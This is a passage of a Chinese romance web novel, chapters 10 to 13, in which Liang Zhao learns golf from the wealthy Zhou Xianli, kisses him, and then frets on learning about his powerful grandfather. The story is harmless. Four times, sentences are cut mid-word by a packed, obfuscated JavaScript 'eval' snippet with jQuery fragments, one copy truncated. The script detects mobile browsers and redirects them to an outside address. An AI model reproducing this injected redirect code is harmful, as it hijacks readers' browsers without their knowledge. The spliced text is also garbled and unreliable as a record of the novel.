忽然,周显礼温热的鼻息拂过她侧颈,她觉得痒,一瑟缩,回头想叫周显礼离她远点,结果发觉两个人挨的那么近,稍微再往前一凑,鼻尖就要对上了。 梁昭什么话也说不出了,看他英挺的眉眼、薄的唇,心想他长得可真好看,他的神色也偏严肃认真,没有一点旖旎的意思,是真的想要教会她。 “别看我,看球。” “哦……” 梁昭垂下眼,视线却往旁边瞥,练习场上还有其他新手,却没有像他这样手把手教学的教练,除了一个三四岁的小男孩。 她把杆一丢:“我不要你教了,我要教练教我!” 周显礼放开她,哈哈大笑:“是谁说让我好好教你?我好好教,怎么还有人不愿意学了。” “哪有你这么教的?你……”梁昭声音弱下来,不太好意思,很小声地说,“你占我便宜!” 周显礼笑的更开心了:“好好好,我不动了,你自己试一次。” 梁昭毫无威慑力地瞪他一眼,视线又回到球上,回忆着他刚刚教的动作,肩膀带着手腕向后…… 周显礼说:“别动。” 梁昭僵在原地。 周显礼还是忍不住动手帮她调整姿势:“手腕立起来,手肘……对,就这样……髋关节带着肩膀,肩膀带着手臂,往前挥。” 梁昭“嗖”一下挥出去,没击中球。 她捂着眼睛,不忍直视。 周显礼也笑,拧开瓶矿泉水给她:“已经很好了。” 他说什么梁昭都信:“真的?” “真的,我第一次打的时候也没击中球。” 梁昭呆呆地问:“你第一次打是什么时候啊?” 三岁。 周显礼把这个词咽下去,弹了下她额头:“哪那么多问题,好好练。” “哦……” 梁昭有些天份,加上周显礼教她,只在练习场上练了一个多小时,就能打出一杆挺漂亮的球了。 梁昭渐渐发现了运动的乐趣,眼睛亮晶晶地问:“我这算学会了吗?” “算。”周显礼轻笑,“走吧,带你下场玩。” 球场绿茵起伏,空气清新,一侧还有湖泊柳树,纵使天还阴着,可微风拂面,感觉比城市里舒爽多了。 周显礼让梁昭打三杆洞,说对新手友好,梁昭听不懂这些术语,她刚刚上手,兴趣正浓,只管瞄着旗杆打。 “是在那儿吧?”梁昭问,“那面黄色旗子?” 周显礼点头:“随便打就行,不要紧张。” 梁昭嘟囔:“我一点儿都不紧张。” 不过她对自己的技术也没什么信心,看了看旁边的湖面,又戚戚然起来:“我不会打歪了打到水里吧?” 周显礼说:“球多得是,打进去了就换一个。” 梁昭笑了声。 周显礼没打球,只站在梁昭身后看她,她平时总穿的松松垮垮的,换上这一身衣服才真把身材显出来,腰是腰臀是臀,起伏的曲线竟如此曼妙。 她挥杆击球,腰身随着动作一扭,是少女独有的柔软。 周显礼食指和中指搓了搓,平时没烟瘾的人,这会儿倒有些想抽烟了。 梁昭不知他在想什么,全身心的注意力都在球上。 这一杆如有神助,球飞出去,在半空中划出一道完美的弧线,然后“咚”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969801|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,不见了。 梁昭眨眨眼,没看清是不是掉进洞里,只听见几个球童拍手叫好,掌声那叫一个热烈。 她扭头问周显礼:“周总,你帮我看看,是不是打进去了?” 周显礼也听见球童说什么“好球”、“一杆进洞”之类的,但他刚刚光顾着看梁昭去了,哪看见球去哪儿了,便偏头询问离他最近的球童。 球童鼓着掌说:“是一杆进洞。梁小姐真是天赋异禀,头一次就能打出这么好的球,很多职业选手都做不到!” “真的进啦?”梁昭雀跃的像只鸟,围着周显礼叽叽喳喳,“我都没看清,就进洞啦?这个很厉害吗?” 周显礼笑意深深:“对于业余爱好者来说大概是万分之一的概率。”他翻出张卡递给球童,又低声吩咐了几句话。 “这么低?”梁昭拎着球杆轻轻晃来晃去,得意地扬起下巴,“我今天运气好,早知道就去买彩票了!” 她笑起来,眼波流转,顾盼生辉。周显礼觉得那双眼睛是真漂亮,怪不得能被曹却思挑中,当演员不就得有这么一双会说话的眼睛么。 嘴上还是笑话她:“财迷。” 财迷小梁又打了一会儿球,没多久刚刚拿周显礼卡的那个球童回来了,还拿了很多现金。 梁昭正要挥杆再击一球,目光不由自主地被红彤彤的钞票吸引,这玩意还是比高尔夫球更有魅力。 周显礼把那一摞钞票给她,沉甸甸的,她紧紧抱在怀里,痴心妄想:“是给我的奖金吗?” 周显礼说:“是给大家的……” 见者有份啊,梁昭也很开心。 周显礼故意停顿几秒钟才补全剩下的话:“小费。” 财迷小梁嘎巴一下,差点碎掉。 她不理解:“这是规定吗?” 周显礼说:“约定俗成的。” 亲娘啊,这哪是好运,这分明是破财的事儿!梁昭心痛不已,和他小声商量:“能不约定俗成吗?” “小孩子气,”周显礼觉得好笑,那痛心疾首的样子,真是小孩儿才会有的。他轻捏她的脸,“打了这样的球,以后会一路走好运。快去吧,给点小费,听两句吉祥话。” 钱都是理好的,梁昭只负责发,六个球童一人一沓,看厚度,她估计每人差不多有一万块。 六万块,换了好多句“谢谢”和吉祥话,还有人祝她发大财。 梁昭听了这话倒是很高兴,在一片欢声笑语里回头找周显礼,他正拿着支球把玩。天色还是阴沉沉的,他因此像拢在薄雾里,神色看不分明,但宽肩长腿,身量颀长。 梁昭跑到他身边,笑眯眯地说:“刚刚那个帅哥祝我发大财!” 闻言,周显礼抬眸望去,普普通通,不算帅哥,是个国字脸,挺多是周正些。 “喜欢听这句话?” “是啊,”梁昭说,“谁不想发财?” 周显礼表示赞同。 梁昭又打了一会儿就喊累,方才散出去那么多钱,尽管是周显礼的,她也没心情打了。 周显礼拨开她额头汗津津的发丝,是真宠她,她说什么就是什么。 “那回去吧。” 他们便乘球车回去,一路上遇到的人,每个都祝梁昭财源滚滚。 梁昭乐了一路,还跟周显礼说他们球场的八卦传的可真快,直到去更衣室换衣服时,听见有工作人员讨论周显礼的阔绰—— 为了庆祝某位高尔夫天才少女一杆进洞,当天球场所有的工作人员每人都能领一千块小费,要求只有一个,见到少女时要祝她日后能够发大财。 他一掷千金,换梁昭那天听到的话,全是她最爱听的。 11. 第 11 章 梁昭不知道一家高尔夫球场能有多少员工,也估算不出周显礼究竟撒了多少钱。她刚刚听到那几个人聊天时,很小气地想如果周显礼把这笔钱给她就好了。 然而换完衣服,梁昭扶着柜门,还是兀自笑了好一会儿。 她知道这不一样。 梁昭关上柜门往外走,心情像喝醉了,飘飘然的。 “嫂子呢?” 这家高尔夫球场的老板秦雨生和周显礼是朋友,听说他为了个女人狂撒几十万小费,专程来取笑他。 “什么嫂子,”周显礼正仰着头看球场的一杆进洞榜,连眼神都没分给他一个,“一小朋友。” “哟,还一小朋友。秦雨生双臂抱胸站在他身侧,学着他的语气,“一小朋友你这么大方?” 周显礼懒洋洋的:“替你犒劳下员工。” 秦雨生冷哼了声,说他装蒜,却也没继续打趣他,扬起下巴点了点榜上第一块黄铜色铭牌:“你带来的小朋友倒是跟你挺像。” 一杆进洞榜上第一块铭牌就刻着“周显礼”三个字,下面一行小字标明时间,还是几年前这家球场刚开业的时候。那天是大年初一,没对外营业,他们几个朋友来玩,周显礼打出一杆进洞,是这家球场的第一人。 周显礼眼底浮起点笑意:“她聪明,第一次打。” 秦雨生张着嘴:“第一次?” “运气也不错。” “那是很不错了。”秦雨生这么一听,对人很感兴趣,“人呢?你给弄哪去了,还藏着不给见啊?” 周显礼终于斜了他一眼:“更衣室。” 说来也巧,梁昭正好回来。她眉眼含笑,跟秦雨生大眼对小眼,后者毫不掩饰地打量她,只是他的目光又和最初在饭店里那群人不一样,不含恶意,多是揶揄。 梁昭笑盈盈地打招呼:“你好。” “你好,我叫秦雨生,是这儿的老板。”秦雨生问周显礼,“这就是你说的那个小朋友?看上去也不小啊。” 梁昭仰头看周显礼,等着他介绍自己。周显礼很受用,眯了眯眼,才大方地说:“这是梁昭,叶明逸新签的艺人。” 秦雨生问:“王昭君的昭?”也是个美人,配得上这个字。 周显礼懒散地嗯一声。 秦雨生说:“怪不得,这张脸不闯娱乐圈都可惜了。” 梁昭被他夸得双颊泛红。 “别理他,”周显礼略略低头,附在梁昭耳边讲话,让她看墙上的荣誉榜,“他们一会儿把你的名字也挂上去。” 梁昭抬眸一扫,惊喜地说:“你在第一位!” 周显礼说:“几年前打的。” 他技术好,肯定经常打球,语气里却听不出骄矜,像说一件与自己无关的事。 梁昭问:“我能不能跟你的摆在一起啊?” 铭牌按照时间依次排序,周显礼却说:“行啊,让他们给你摆在第一位都行。” 他往秦雨生那儿扫了一眼。 秦雨生赶紧把视线从梁昭身上挪开,说:“多大点事,没问题。哎衍哥,晚上在这吃饭吧?” 梁昭么,漂亮是漂亮,很沉静的面孔,但能看得出出身不好的样子来,估计是叶明逸从小地方挖出来的。 不过那张脸是真好看。 秦雨生见过的明星也不少,雅的俗的清冷的艳丽的,可没人能跟梁昭比,她那张巴掌大的小脸上没有一处不精致,眉毛眼睛鼻子嘴巴,跟画似的。 秦雨生嘟囔了句:“叶明逸眼光还挺毒。” 周显礼问:“什么?” “没什么。”秦雨生说,“我说让厨子做点家常菜,你们在这随便吃点,别回去了。” 周显礼问梁昭的意见。 梁昭直觉周显礼不想在这儿吃,犹豫片刻,在“我都听你的”和“想回去”之间选择了后者,见秦雨生蹙起眉,她补充道:“真是抱歉,我今晚和朋友约好了。” 周显礼说:“那行,咱们回去。” 秦雨生有些失落,把他们俩送出去,让周显礼常来玩,又对梁昭说:“梁小姐也常来玩啊,不能浪费了这个天赋。” 梁昭指了下周显礼:“他是我的教练,我跟他来。” 周显礼心情奇佳,噙着抹笑,挥手示意门童退下,亲手给梁昭开车门。 回去路上,天蒙蒙黑。周显礼问:“你今晚和你那个朋友一起吃饭?” 他知道梁昭和江畔住在一起,只是还没见过人。 梁昭说:“我朋友加班。” 周显礼轻笑:“那刚刚还说和朋友约好了?” “这不是找个理由嘛,总不能说,我不想在你这儿吃,多不给你朋友面子啊。” 周显礼明知故问:“为什么不想在那吃?” 梁昭说:“我觉得你不想让我留在那吃饭。” 正是红灯,周显礼踩下刹车,扭头看梁昭。 她笑的坦坦荡荡,一双黑亮的眸子里写满磊落。 周显礼失笑,捏她腮边的软肉:“小机灵鬼。” 梁昭撇撇嘴,以前还说她笨呢。 晚上这顿饭梁昭必须严格控制,她之前一直吃水煮菜,周显礼思来想去,把她带到一家轻食西餐厅吃草。 幸好梁昭中午已经饱餐一顿,口腹之欲稍解,又有周显礼陪着聊天,一盘草也吃得津津有味。 吃完饭周显礼送她回家,他现在习惯直接把车开到梁昭楼底下,梁昭下车跟他道别,转身进单元楼时,一阵风吹过来,她裹紧身上的外套,忽然意识到,北京的秋天就这么过去了。 周显礼说的红叶,她还没来得及去看。 十一月,新一股较强冷空气自西向东而来,北京大降温。今年冬天冷的早,梁昭给关红打视频通话,家里早就下过雪了,她在家腌酸菜。 穷人最怕过冬。冷且不说,臃肿、不够御寒,但要穿一整个冬季的羽绒服,夏天时能藏的很好的穷酸气,就这么一览无余了。 梁昭对着柜子里的衣服看了又看,扯出那件黑色中长款羽绒服,这还是刚上高中的时候买的,很贵,要八百块,但穿了这么几年,袖口已经磨破了,能从里面揪出一小撮的羽毛来。 她算了算手里的钱,交了房租水电和取暖费,还剩…… “盼盼!” 江畔躺在沙发上,抻长脖子回应:“怎么了?” “你陪我去买衣服吧?” “怎么忽然想买衣服?” “就是……”梁昭期期艾艾的,“就是想买。” 江畔揶揄地看了她一会儿:“我懂,快谈恋爱了,要注意形象嘛。” “别胡说。”梁昭往她身上丢抱枕,“八字没一撇呢。” “哎,”江畔翻身坐起来,“那个周显礼究竟是做什么的?” 梁昭摇摇头:“我不知道。” 她真不知道。叶明逸开影视公司,秦雨生开高尔夫球场,唯独周显礼,虽然外人也是一口一个“周总”地叫,但梁昭还真不知道他在哪当这个总。 “周显礼”这个名字在网上也搜不到。 “那你知道什么?” 梁昭认真想了下,说:“他三十岁了。” 江畔评价:“有点老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969802|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “看不出来,他看着很年轻的。” 江畔不信:“你情人眼里出西施了吧?” “真的。” “有照片吗?” 梁昭没拍过:“没有,下次你碰见就知道了。” “行吧,至少有钱,比那个妈宝男强。”江畔不动声色地翻了个白眼,“抠死他算了。” 梁昭叹了口气,说:“唉——我现在有时候还是会想起他。” “不是吧?” 梁昭说:“我当时把他微信删了,现在要是发朋友圈炫耀我混的好,他都不知道,我后悔死了!” 除了他还有很多人,曾经嘲笑过她的同学、抛弃了她的朋友、说她没出息的老师…… 梁昭的观念很朴实,不蒸馒头争口气啊,她发财了就得让人知道,她一发财就忘本,她享受别人嫉妒、后悔、羡慕的眼光! 无人得知的荣耀,简直大打折扣。 江畔锤着沙发笑:“等你电影上映他就知道了。” 那太遥远了,梁昭现在还无法想象。 她虽然签约了一家大公司,马上要进组拍戏,但她仍缩在出租屋里,只是不大不小地发了一笔横财,女明星、女演员、电影……这些词对她来说还太陌生。 梁昭怀疑:“他会进电影院吗?” “不知道。不过你妈已经替你炫耀完了。” 梁昭大笑:“真的啊?” “连我妈都知道了。阿姨戴着那么大一个金镯子,逢人就说,这是我女儿给我买的。” 她俩笑作一团。 笑完了,梁昭揉揉发酸的腮:“走了走了,买衣服去。” 梁昭换了一身行头,焦糖色羊毛大衣和黑色针织裙。 其实也冷,但江畔说温度和风度不能共存。 她穿着这身衣服和周显礼出去吃饭,吃完饭上车,周显礼给她一条很漂亮的羊绒围巾,黑白配色,经典的小双C。 周显礼捏她的手心,果然很冰,问:“你真是东北人?” 梁昭边试戴边说:“不是所有东北人都抗冻,你这是刻板印象。” 周显礼笑笑,朝她招手:“过来,过来。” 梁昭凑近他:“干什么?” “我看看,是不是有虎牙?” 说她牙尖嘴利呢。梁昭哼一声,摘下围巾丢他。 周显礼也不恼,叠好放进袋子里。他手指修长而骨节分明,做事慢条斯理,透着股慵懒劲,观赏性很强。 梁昭偏开头看窗外,慢慢也无声地笑起来。 车开了很久,到山上,刚一停稳,梁昭急匆匆地就要推门。 眼前居然是漫山红叶,已经十一月了,没想到北京的秋意还在。 她还以为今年看不上了呢。 梁昭有种失而复得的喜悦,回头找周显礼,雀跃地说:“这时候还有枫叶啊?” 周显礼拉住她,拿出围巾给她系上:“别急着下去,外面冷。” “我觉得也没那么冷,哎呀你快点。” 梁昭边催他,视线边从他修长的手指,一点点往上挪,最终跌进他那双盛满宠溺与无奈的眼睛里。 梁昭喉咙发紧,顿时没了声音。 从她的角度望去,越过周显礼肩头,车窗外分明应该是漫山遍野的红,在此刻却全都失了颜色。 梁昭就那么定定地望着周显礼,等他给自己系好围巾,然后鬼迷心窍般地,往前一扑。 她也不知道哪来的勇气,莫名想到句诗,还是高中时读过的了—— 愿为西南风,长逝入君怀。 12. 第 12 章 抱都抱了,梁昭一不做二不休,干脆两条细细长长的胳膊都搂住他脖颈,不撒手。 周显礼却没有动作。 梁昭埋在他颈窝里,等了一会儿,耳边只有彼此的呼吸声,渐渐的,她那腔孤注一掷的勇气也消退了,边缩回手边讪讪地说:“没坐稳。” 周显礼却直接把她抱到腿上。 梁昭小小地惊呼一声:“哎?” 周显礼捏她手心,轻笑:“摔我怀里了?” 司机很有眼色地下车了,“砰”一声,很轻,车门关上,一下子只剩他们两个人,梁昭坐在男人大腿上,有些不自在。 梁昭一米六八,周显礼有一米八多,两个成年人叠在一块儿,原本宽敞的后座就略显不够用了。梁昭第一次觉得,她若是矮一点就好了,不像现在,手脚都不知道该往哪放。 她脸颊飞红,低低“嗯”了声,没什么底气地反问:“不让啊?” “哪有不让的道理?”周显礼挑眉打量她,她今天是特意打扮过的,羊毛大衣敞着怀,里面一条修身针织裙,腰肢婀娜,一双腿又细又长,连打底袜都没穿。 周显礼手心搁在她大腿上:“这样穿冷不冷?” 梁昭拿江畔的话用:“风度和温度不能共存。” 周显礼闷闷地笑,胸腔都在振动。他心情应当很好,梁昭心情也跟着很好,又环上他脖子。 她悄悄打量他。周显礼是很英俊的,剑眉星目,狭长的眼皮,平日里眸光总是懒懒散散的,似乎对万事都不上心,任何人都看不进眼里。 此刻那眸光里明晃晃敛着愉悦,还有点梁昭看不懂的禁忌色彩。 他手心顺着梁昭的大腿向上,贴在她腰间。 周显礼叹了声:“昭昭好身材。” 梁昭不是什么都没经历过。男人果然都一个样,她扭了扭腰,骂道:“你流氓!” 周显礼也问她:“不许?” 主动投怀送抱的是她,此刻许与不许都说不出口,梁昭往他怀里又缩了缩。周显礼衔她的唇,柔软又湿润的触感,她一时愣住了。 周显礼拍拍她的腰:“愣什么?” 他似乎不满意她的反应。梁昭只好大着胆子,探出舌尖描他的唇形,他的唇薄,形状也好看,有一点凉。 梁昭稍微往后仰,想看他有没有笑,刚一离开,就被扣着后脑勺又吻上了,跟那个浅尝辄止闹着玩的吻不一样,周显礼有点凶,吮吸着她口腔内最后一点氧气。 梁昭闻见他身上有一股雨后清新的味道,像竹子、青苔,庭院深深,雨后青石板被冲刷一新,绿植在充沛的水汽中散发芳香。 梁昭捏着周显礼的衬衫,攥皱了,他才放开她,眼底笑意盈盈,有些调侃的意味:“昭昭,脸怎么这么红?” 梁昭呼吸紊乱,剜他一眼,只是她眼里被逼出雾蒙蒙的一层水汽,所以这一眼毫无威慑力,反倒是带着点江南烟雨般的温婉。 “憋的!” “连接吻都不会?” 梁昭小声嘟囔:“谁天生就会这个啊?” 周显礼又要教她,扣着她的腰,探身向前,梁昭赶紧躲开了,她真不想窒息。 “下去走走吧,透透气。” 周显礼整好方才被弄乱的围巾,才放她下车。 北京的秋其实没有大兴安岭好看,然而大抵是心情太好,梁昭看什么都觉得新鲜,只觉天高气爽,心境也跟着旷远起来。 她没法描述这种心情,非要说的话,就是心头一件闲事也无。 以前梁昭要记挂太多事,家里怎么过冬、弟弟妹妹成绩如何、这个月的工资够不够用,到了北京,也记挂着何时能签约、电影能不能拍,后来遇到周显礼,又日日七上八下地想着他。 现在什么都不用想了。她牵着周显礼的手,跟他漫无目的地在山上逛,周显礼给她说,北京多黄栌,又叫红叶,不是传统的枫树。 梁昭分不清,还跟学生似的,想捡几片叶子回去,夹在书里,转念一想,她根本没书,也就算了。 梁昭下巴缩进围巾里,说:“北京的秋天可真晚,我们老家都开始过冬了。” 周显礼说:“再过几天,一刮风,这一山红叶也要没了,所以趁早带你来玩。” 梁昭撇开脸偷笑。她前几天还为这事而遗憾,没想到周显礼也记得。 这明显是个景区,山上修了路,立着全景导览图,但梁昭一路走来没看见有其他人,问周显礼:“这地方很偏吗,怎么没人啊?” 她来北京之后,感触最深的就是人多,哪哪都多,路上总会堵车、地铁站里人挤人、连餐厅也要排长队。 这里风景好,层林尽染,应当是赏秋的最佳时机,但除了他们俩,居然没有别人。 周显礼逗她玩:“天冷,别人都不爱出门。” “你少来。” 天确实冷,随便一阵小风刮过来,梁昭就开始打喷嚏。 穿成这样,怪不得手都冰凉。 周显礼说:“回去吧,你要是冻感冒了,不还得我伺候?” 其实他哪会伺候人,但梁昭听着就很高兴,乖乖巧巧地说:“好啊。” 车子驶出景区,梁昭往门口一扫,瞥见他们的公告牌,上面称为了冬季防火、设备检修、运营维护的需要,景区将暂时关闭,下面标注的日期赫然是昨天。 梁昭被冻的脑子都不会转了,心想,好家伙,原来他们俩是逃票来的? 回程路远,梁昭有点困了,撑着额头要睡觉,周显礼喊她:“昭昭,过来。” 他声音浸润着温柔,梁昭依言,凑到他身边,被他搂进怀里。 在他怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16969803|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉确实更舒服。梁昭笑一笑,手臂横过他身体,搭在他肩膀上,像抱着只很大的毛绒玩具。 “困成这样,昨晚干什么了?” 梁昭撑着眼皮跟他讲话:“看了部鬼片,吓死人了,根本不敢睡。” 不自觉地带着点抱怨的腔调。 周显礼轻笑:“胆子这么小……” 梁昭不胆小,只是怕鬼,她没否认这一点,就说:“对呀对呀……” 她仰头,在周显礼下巴上落一个吻。亲完也不敢看他,又缩回去,闭上眼准备睡觉,自然也没看见周显礼垂下来的目光,笑意深深。 司机开车平稳,周显礼怀抱温暖,梁昭沉沉地睡过去。 日子就这么过得飞快。梁昭除了上课,就是每天和周显礼混在一起,吃饭、看电影、打球,跟对普普通通的小情侣似的。 十一月底,梁昭上最后一节表演课。这段时间,陈老师那种高高在上的架子不知道什么时候消失了,她对梁昭很好,还拿自己烤的小点心给她吃。 礼尚往来,最后一节课,梁昭买了小蛋糕和咖啡带去送给她。 休息时她们俩凑在茶水间,边吃蛋糕边闲聊,陈老师说些学校里的事情,什么课题啊,评职称啊之类的,明争暗斗,处处是坑。 梁昭其实听不懂,就说:“这么凶残啊!您一看就是个实在人,仗义,不喜欢搞那些弯弯绕绕的,哪斗得过他们啊!” 反正情绪价值给到了。 陈老师果然很起劲儿:“可不是嘛!现在的人啊,都是利字当先,为了点蝇头小利抢破头,文化也丢了,体面也不顾了。所以说我还是爱跟你聊天,不过你太单纯了,将来进圈以后要吃亏的。” 梁昭乐呵呵地说:“吃亏是福嘛。” 话题又拐到她身上,陈老师问:“今天又是周总送你来的呀?” 梁昭吸溜一口咖啡,只笑,不应声,装出有些害羞的样子。 原来她这些天的待遇,还是沾周显礼的光。 陈老师说:“你别害羞嘛,我来的时候都在楼下看见了。有周总护着你,你倒是也不愁。” 梁昭眨巴眨巴眼睛。 陈老师神秘兮兮地说:“你知不知道,他爷爷是谁?” “谁啊?” 陈老师左右望望,确定没有旁人,才压低声音,用气声吐出了一个名字。 那是一个很常出现在各种报道里的名字,就连梁昭这种不爱看新闻的人,也知道他。 梁昭愣在原地。她原以为他只是个普通的有钱商人…… 是了,怪不得他去哪都是被人簇拥着,怪不得能进入已经闭园养护的景区,又怪不得他平时没什么唬人的架子,就矜贵得像天上月。 他确实是天上月。 梁昭忽然害怕起来。她真不该招惹他的。 13. 第 13 章 北风呼啸,窗户没关严,留一条小缝,原本大风声更加聒噪了,呜呜咽咽的,也不好听。 梁昭睡不着。 她十一点就放下手机准备睡觉了,可一直辗转反侧,到零点之后,去了趟厕所,回来告诫自己一定要睡了,又睁眼到一点半。 梁昭心想,算了算了,顺其自然吧,反正她明天不用早起。 身侧江畔早已睡熟,呼吸声平稳而有节奏,梁昭小心翼翼地翻身,伸手往床头柜上摸,按亮手机屏幕的一刹那,被光晃的眯了眯眼睛。 微信上还留着下午周显礼的一条消息,问她有没有吃饭,梁昭没回,周显礼也没再问。 他这样的人,被故意无视了后,应该也不会再凑上来了吧?毕竟女人这样多,捧着他的都数不过来,他干嘛搭理一个不识相的? 不对不对,梁昭想,她是太识相了。 梁昭咬着指甲盯着聊天页面发呆,恍恍惚惚想起那天晚上周显礼送她回家,她人都下车了,又跑回去,亲了周显礼一口,撩完就跑,进单元楼前扭身欢快地朝他挥手,说“再见”。 周显礼还是一幅宠溺的模样。 这才几天,他们俩就不会再见了。 梁昭点开百度,搜他爷爷的名字,搜索栏连智能关联词条都没有,一片空白,新闻倒是很多,照片上的老人还是黑发,只鬓角微白,精神矍铄,看上去比实际年龄更年轻。 现在不知是什么样子了?但没有近照。 梁昭翻着翻着,找到一张他年轻时的照片,眉眼间和周显礼有几分相似,但周显礼显然更英俊。 看什么都能想起他,梁昭不看了,扣上手机,睡觉。 许是太困,这回还真睡着了。梁昭做了个梦,梦见她在饭店吃饭,周显礼也在,他身边带了个很漂亮的女人,高高瘦瘦的,大波浪卷发,妆容精致,牛仔裤裹着圆润的臀和细细的腰。 周显礼问她拍戏累不累,她说不累,笑得很甜,曹却思在一旁夸她敬业,让梁昭跟她好好学习。 梁昭坐在桌子最末尾,骤然被点名,喏喏地站起来,却没人看她,周显礼的眼光只盯在漂亮女人身上,桌上的人也都在恭维她,不愧是曹却思的女主角,漂亮,演技好,还能吃苦。 梁昭搞不明白状况,她是女主角,那她是什么? 曹却思的助理拽她的袖子:“愣着干什么,快去给大家倒水啊!” 她是个跑腿的助理。 梁昭连连称是,端着茶壶满桌跑,她先给周显礼倒,女人推了她一下,水撒出来,全泼在周显礼身上。 梁昭一惊,醒了,才发现是江畔在晃她。 梁昭被她晃的头晕,横一只胳膊在额头:“干什么?” “咱们去菜市场吧?” “几点了?” “七点半。” 梁昭夹起被子翻了个身,不理她。 “家里快没东西吃了,早上去菜市场,菜才新鲜啊!”江畔说,“还比超市便宜!” “便宜”这个词触动了梁昭的神经,她缓缓睁开眼,眨了眨。 熬夜后,人很疲倦,但和省钱比起来,这点疲倦不值一提。梁昭朝江畔伸出手,江畔立刻把她拉起来。 “走?” “走!” 梁昭家附近就有一菜市场,室内的,蔬菜水果肉海鲜日用品,什么都卖。这个点,菜市场里大多数都是大爷大妈,讨价还价,吵吵嚷嚷,热热闹闹。 江畔在一个摊位前停下,随手挑一颗花菜就要递给老板称重,梁昭按下她的手腕,扬声问:“花菜多少钱一斤啊?” 老板打量她们俩,说:“八块钱。” 梁昭赶紧拉着江畔走了。 江畔是个大学生,虽然到北京实习后,也经常自己买菜,但从来不记价格,说多少是多少。她回头望望那个摊位,颇为疑惑:“怎么了?他那花菜不好吗?” 梁昭说:“太贵了,老板见你年轻,宰你呢。” 销售就这样,看人下菜碟,这是看家本领。梁昭不认可这种行为,但也不评判,毕竟她以前也这么干过。 江畔虚心请教:“那应该是多少钱啊?” “三五块钱,咱老家那边几毛钱的都有。” 又连续问了几个摊位,价格都偏高,江畔攥着拳头:“真的是,我脸上写着好宰吗?!” 梁昭站在最角落的摊位前,轻飘飘道:“不然呢?” 江畔一拳怼在她胳膊上。 梁昭摸着胳膊笑,说“你太使劲了”,又举起一颗菜花问:“老板,多少钱一斤啊?” 老板说:“八块八。” 好家伙,一家比一家黑。但梁昭懒得继续逛了,就说:“老板,我妈天天来这买菜,您忘啦?就是开饭店那个王姨,她说您这儿实在,让我就来这买!” 老板摸了摸鼻尖,尴尬又笑呵呵地说:“老主顾啊……那给你便宜点,五块钱一斤吧。” 梁昭挑了颗花菜、几个西红柿、一块豆腐、一把小青菜,又拿了两头大蒜,最后有三毛钱的零头,她跟老板讨价还价:“抹个零头呗?” 老板说:“菜价便宜,不挣钱。” 梁昭说:哎呦都是街里街坊的,我们天天来。” 老板说:“真不赚钱!小本买卖,就这点利润。” 梁昭说:“那送我两颗小葱总行了吧?我回去炖豆腐吃。” 老板扯了两颗给她:“拿着拿着,都新鲜的。” 梁昭晃晃手机:“扫过去了。” “下次再来哈!” “好嘞!”梁昭笑眯眯地说,“我就认准您这儿了!” 转身,江畔叹为观止:“梁清,我没见过比你更抠的了。” 她还不适应梁昭这个名字,总是梁清梁昭混着叫。 梁昭晃晃手里的小葱:“你别看不上这两根葱,去超市买也得花钱呢!” 她砍了价,拿了葱,心情正好,脸上的笑就没跌下来过,溜达到肉摊,正转着块吊起来的猪肉看哪块更好,手机响了,是周显礼。 梁昭愣了下,菜市场的喧嚣声如潮水般褪去,她仿佛什么也听不见了,江畔拉了她一下,她才意识到挡道了,忙闪到一边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16975691|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 手机还在不停地响,催命符似的,江畔瞥了眼,问:“周显礼的啊,怎么不接?” “啊……”梁昭也没说出个所以然来,纠结两秒钟,把菜都递给江畔,“你帮我拿一下。” 江畔接过去了,她边点接通,边走到僻静处,“喂”了两声,才听清周显礼的声音。 “你那边怎么这么吵?” “在菜市场。”梁昭对着堵墙,踢踢墙角,说,“我跟盼盼出来买菜。” 周显礼“嗯”了声,也没问她为何不回消息,只说:“今天有课吗?” “没有,不过曹导说快开机了,让我老老实实待在家里,别到处乱跑。” 周显礼听明白了,老老实实待在家,就是不打算出门见他的意思。 他顿时也没兴致,淡声说:“那你老实在家待着吧。” 电话挂断,梁昭面壁思过似地站了半天。 这段时间周显礼工作也忙,把梁昭忘在脑后,宵衣旰食了几天。 